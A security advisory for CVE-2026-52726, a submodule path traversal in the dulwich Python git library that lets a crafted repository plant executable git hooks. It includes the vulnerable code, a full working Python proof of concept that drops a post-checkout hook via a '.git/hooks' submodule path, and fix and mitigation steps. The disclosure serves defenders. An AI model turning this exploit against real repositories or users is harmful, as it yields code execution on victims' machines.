CVE-2026-52726 — dulwich
HIGHCVE-2026-52726 is a high-severity (CVSS 7.5) Path Traversal vulnerability in dulwich. A fix is available for dulwich — see the affected versions and patch details below.
Dulwich's submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-52726.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-52726 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 380,526 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
dulwichReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
dulwich.porcelain.submodule_update, and by extension porcelain.clone(..., recurse_submodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.
This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.
Affected
- Package:
dulwich(PyPI) - Affected versions:
>=0.23.2, <1.2.5 - Affected platforms: all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal
.git/hooksrather than a case- or short-name-aliased form.
Affected entry points:
dulwich.porcelain.submodule_update(repo, init=True, recursive=True)dulwich.porcelain.clone(source, target, recurse_submodules=True)dulwich submodule updateCLI /dulwich clone --recurse-submodulesCLI
Vulnerable code
The submodule path from the tree's gitlink entry (and matching .gitmodules) is consumed without validation in dulwich/porcelain/submodule.py.
The attacker-controlled path enters the loop from iter_cached_submodules (submodule.py#L154-L168):
for path, target_sha in submodules_to_update:
path_str = (
path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path
)
submodule_name: bytes | None = None
for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):
if sm_path == path:
submodule_name = sm_name
break
if not submodule_name:
continue
It flows unchecked into os.path.join and the filesystem (submodule.py#L187-L188):
submodule_path = os.path.join(r.path, path_str)
submodule_git_dir = os.path.join(r.controldir(), "modules", path_str)
Finally, the attacker tree's contents are materialized into that directory via build_index_from_tree with no validate_path_element argument, defaulting to the lax validator (submodule.py#L229-L234):
build_index_from_tree(
submodule_path,
sub_repo.index_path(),
sub_repo.object_store,
tree_id,
)
Three issues compound:
path_stroriginates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against.git,.., or other path-traversal patterns. The same value is read from the attacker-supplied.gitmodulesblob viaread_submodules, which also performs no validation.submodule_path = os.path.join(r.path, path_str)therefore resolves to an attacker-chosen directory anywhere on disk (e.g.<worktree>/.git/hooks).build_index_from_treeis called withoutvalidate_path_element, so it defaults tovalidate_path_element_default, which only rejects literal.git,., and... It does not refuse aroot_paththat is itself inside the parent's.gitdirectory, and it honors the attacker tree's file modes including executable bits (0o100755).
Reachability
A direct production call path from a user invocation: porcelain.clone(source, target, recurse_submodules=True) at dulwich/porcelain/__init__.py:1548-1551 calls submodule_update(repo, init=True, recursive=True) once the parent clone completes, reaching the unsanitized loop at submodule.py#L154-L234.
The CLI command dulwich clone --recurse-submodules <url> reaches the same sink via dulwich/cli.py:2131.
Any service that exposes porcelain.clone(..., recurse_submodules=True) on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features.
Proof of concept
End-to-end against pip-installed dulwich==1.2.4, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs git. The payload writes a marker file rather than performing any destructive action.
import os, tempfile, subprocess
import dulwich.repo as r
import dulwich.porcelain as p
from dulwich.objects import Blob, Commit, Tree
WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-")
ATTACKER = os.path.join(WORKDIR, "att.git")
VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git")
VICTIM_WT = os.path.join(WORKDIR, "vic_wt")
MARKER = os.path.join(WORKDIR, "marker")
# Attacker submodule contains a single file named "post-checkout"
# with mode 0755 and a benign shell payload that writes a marker file.
attacker = r.Repo.init_bare(ATTACKER, mkdir=True)
payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n"
pb = Blob.from_string(payload)
attacker.object_store.add_object(pb)
at = Tree()
at.add(b"post-checkout", 0o100755, pb.id)
attacker.object_store.add_object(at)
ac = Commit()
ac.tree = at.id
ac.author = ac.committer = b"a <a@a>"
ac.author_time = ac.commit_time = 0
ac.author_timezone = ac.commit_timezone = 0
ac.message = b"x"
attacker.object_store.add_object(ac)
attacker.refs[b"refs/heads/master"] = ac.id
attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")
# Victim parent has a .gitmodules and a tree gitlink, both pointing at
# path ".git/hooks". The gitlink targets the attacker submodule commit.
victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)
gitmod = (
b'[submodule "evil"]\n'
b'\tpath = .git/hooks\n'
b'\turl = ' + ATTACKER.encode() + b'\n'
)
gmb = Blob.from_string(gitmod)
victim.object_store.add_object(gmb)
vt = Tree()
vt.add(b".gitmodules", 0o100644, gmb.id)
vt.add(b".git/hooks", 0o160000, ac.id)
victim.object_store.add_object(vt)
vc = Commit()
vc.tree = vt.id
vc.author = vc.committer = b"a <a@a>"
vc.author_time = vc.commit_time = 0
vc.author_timezone = vc.commit_timezone = 0
vc.message = b"v"
victim.object_store.add_object(vc)
victim.refs[b"refs/heads/master"] = vc.id
victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")
# Single victim call: clone with recurse_submodules=True
p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)
hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout")
assert os.path.exists(hook), "hook was not written"
assert os.stat(hook).st_mode & 0o111, "hook is not executable"
# git running in the victim worktree then executes the dropped hook
subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True,
capture_output=True)
assert os.path.exists(MARKER), "hook did not fire"
print("Code execution confirmed:", open(MARKER).read().strip())
The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (post-checkout, pre-commit, post-merge, post-rewrite, post-applypatch, and others). dulwich itself executes several hooks (pre-commit, commit-msg, post-commit, pre-receive, update, post-receive; see dulwich/hooks.py and dulwich/repo.py), so a victim using only dulwich is also reachable without upstream Git.
Credit
tonghuaroot
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | dulwich | ≥ 0.23.2&&< 1.2.5 | 1.2.5pip install --upgrade 'dulwich==1.2.5' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dulwich, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update dulwich to 1.2.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-52726 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Red Hat product security classifies this bug as Important as this bug can be triggered by the victim merely by cloning a maliciours repository. The attacker is however unable to trigger any executable without subsequent actions by the victim. Users should pay attention to any binaries that are cloned over as this is…
To mitigate this issue, users should avoid cloning or updating Git repositories that contain submodules from untrusted or unverified sources. When interacting with repositories, especially those with submodules, ensure the source is trusted to prevent the execution of arbitrary code via crafted Git hooks. If possible, review the `.gitmodules` file and the submodule's content before performing recursive submodule operations.Source: Red Hat security advisory for CVE-2026-52726 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-52726 in your dependencies?
Find it across PyPI, including transitive dependencies.